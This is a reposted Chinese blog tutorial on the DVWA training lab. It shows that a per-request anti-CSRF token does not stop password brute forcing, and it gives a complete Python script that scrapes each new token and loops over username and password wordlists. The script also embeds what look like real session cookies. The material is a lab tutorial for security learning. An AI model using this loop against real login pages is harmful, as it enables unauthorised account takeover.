https://xiaochuhe.blog.csdn.net/article/details/122546973

简介: https://xiaochuhe.blog.csdn.net/article/details/122546973

本文转载:https://xiaochuhe.blog.csdn.net/article/details/122546973

高机中加入Token预防CSRF,重定向我们通过bp抓包发现多了一个user_token参数:

图片.png

在这里插入图片描述
继续使用上面的爆破方式,发现全部被重定向:

图片.png

Token机制:

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

Token可以用于防护CSRF攻击,但不可以预防暴力破解,因为每次会话的Token都会发送至前端,只需要递归地在前端接收Token作为下次访问的Token值就可以实施暴力破解了。
代码如下:

#dvwa(hign)暴力破解程序
import re
import requests
with open("user.txt",'r') as file:
    for username in file:
        #print (username.strip())
        with open("password.txt",'r') as passwd:
            for password in passwd:
                #print (password.strip())
                url = "http://x.x.x.x/dvwa/dvwa/vulnerabilities/brute/"
                header = {
                'Cookie':'security=high; request_token=78gUEJrz2WPS3xN1XfqiXeGy2tgiHd8CxpzVAOSavBj4c8lA; pro_end=-1; ltd_end=-1; serverType=apache; order=id%20desc; memSize=1837; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22151****1573%22%7D%7D; a3446a883d49d56e7e3ab64c9f2af2ad=d5a8f18a-489e-4beb-bca0-ee0272edea2f.b_FsvtXQq2JqFu6tBwn3MguJILs; JSESSIONID=B3B6110EF5A065700776C0554D642C4B; PHPSESSID=9cujklrgmm4qlsnhus8pa5ihbb'
                }
                r = requests.get(url=url,headers=header)
                #print (r.text)
                token = re.findall("<input type='hidden' name='user_token' value='(.*?)' />",r.text)[0]
                #print (token)
                url_last = url + '?username=' + username.strip() + '&password=' + password.strip() + '&Login=Login&user_token=' +token
                #print (url_last)
                res = requests.get(url=url_last,headers=header)
                #print (res.url)
                #print (res.text)
                if not re.findall('Username and/or password incorrect.',res.text):
                    print ('破解成功啦,杀世子,夺青鸟!')
                    print ("用户名是:", username.strip())
                    print ("密码是:", password.strip())

输出结果:
图片.png

相关文章
学习计算机组成原理(王道考研)------第十一天https://zhengyz.blog.csdn.net/article/details/121706379?spm=1001.2014.3001.5502
这篇文章是关于计算机组成原理的王道考研学习笔记,主要介绍了半导体存储器RAM和ROM的相关知识。
学习计算机组成原理(王道考研)------第十一天https://zhengyz.blog.csdn.net/article/details/121706379?spm=1001.2014.3001.5502
|
3月前
|
算法 Java 测试技术
java 访问ingress https报错javax.net.ssl.SSLHandshakeException: Received fatal alert: protocol_version
java 访问ingress https报错javax.net.ssl.SSLHandshakeException: Received fatal alert: protocol_version
|
3月前
|
监控 Shell 开发工具
https://developer.aliyun.com/article/1583352
https://developer.aliyun.com/article/1583352
|
6月前
|
C++
【C/C++ 编程 入门篇】 if条件判断表达式的使用教程
https://developer.aliyun.com/article/1465430
124 0
|
4月前
|
存储 PyTorch 调度
https://developer.aliyun.com/article/1564927(7)
Transformers 4.37 中文文档(十九)
112 2
|
4月前
|
存储 Ubuntu Linux
https://blog.csdn.net/a1657054242/article/details/139965955?spm=1001.2014.3001.5502
https://blog.csdn.net/a1657054242/article/details/139965955?spm=1001.2014.3001.5502
37 0
|
5月前
针对持续不断的产品市场制造商的自动攻击合成 https://developer.aliyun.com/article/1512648?spm=a2c6h.13262185.profile.22.7e32b28arRWTOH T恤或卫衣 针对持续不断的产品市场制造商的自动攻击合成 针对持续不断的产品市场制造商的自动攻击合成
针对持续不断的产品市场制造商的自动攻击合成 https://developer.aliyun.com/article/1512648?spm=a2c6h.13262185.profile.22.7e32b28arRWTOH T恤或卫衣 针对持续不断的产品市场制造商的自动攻击合成 针对持续不断的产品市场制造商的自动攻击合成
48 0
|
6月前
|
Java Unix Linux
https://developer.aliyun.com/article/1495767
https://developer.aliyun.com/article/1495767
|
2月前
|
开发框架 前端开发 JavaScript
ASP.NET MVC 教程
ASP.NET 是一个使用 HTML、CSS、JavaScript 和服务器脚本创建网页和网站的开发框架。
41 7
|
2月前
|
存储 开发框架 前端开发
ASP.NET MVC 迅速集成 SignalR
ASP.NET MVC 迅速集成 SignalR
58 0